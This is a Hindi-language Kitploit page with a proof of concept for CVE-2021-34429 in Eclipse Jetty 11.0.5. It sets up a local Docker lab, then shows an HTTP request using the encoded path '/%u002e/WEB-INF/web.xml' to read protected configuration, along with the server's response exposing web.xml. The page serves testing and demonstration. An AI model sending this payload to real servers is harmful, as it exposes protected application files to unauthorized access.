CVE-2021-34429 — CVE-2021-34429 के लिए POC - Eclipse Jetty 11.0.5 संवेदनशील फ़ाइल प्रकटीकरण | Kitploit

साझा करें

CVE-2021-34429

CVE-2021-34429 के लिए POC - Eclipse Jetty 11.0.5 संवेदनशील फ़ाइल प्रकटीकरण

WEB-INF निर्देशिका के अंदर फ़ाइलों तक पहुँचने के लिए एन्कोडेड URI का उपयोग करना

परीक्षण वातावरण की स्थापना

पूर्वापेक्षाएँ: अपने सिस्टम पर docker और docker-compose स्थापित करना

Debian-आधारित डिस्ट्रोस के लिए जैसे Ubuntu, Kali Linux आदि, निम्नलिखित कमांड का उपयोग करें

apt install docker.io
apt install docker-compose

Windows, Mac और अन्य डिस्ट्रोस के लिए कृपया निम्नलिखित गाइड देखें:

Eclipse Jetty 11.0.5 स्थापित करना

रिपॉजिटरी को क्लोन या डाउनलोड करें
docker-compose up -d चलाएँ
आपका वेबसर्वर http://localhost:8080/ पर चालू और चल रहा होना चाहिए

GET /%u002e/WEB-INF/web.xml HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 OK
Connection: close
Last-Modified: Wed, 03 Nov 2021 08:25:24 GMT
Content-Type: application/xml
Accept-Ranges: bytes
Content-Length: 209
Server: Jetty(11.0.5)

<!DOCTYPE web-app PUBLIC
 "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
 "http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>ColdFusionX - Web Application</display-name>
</web-app>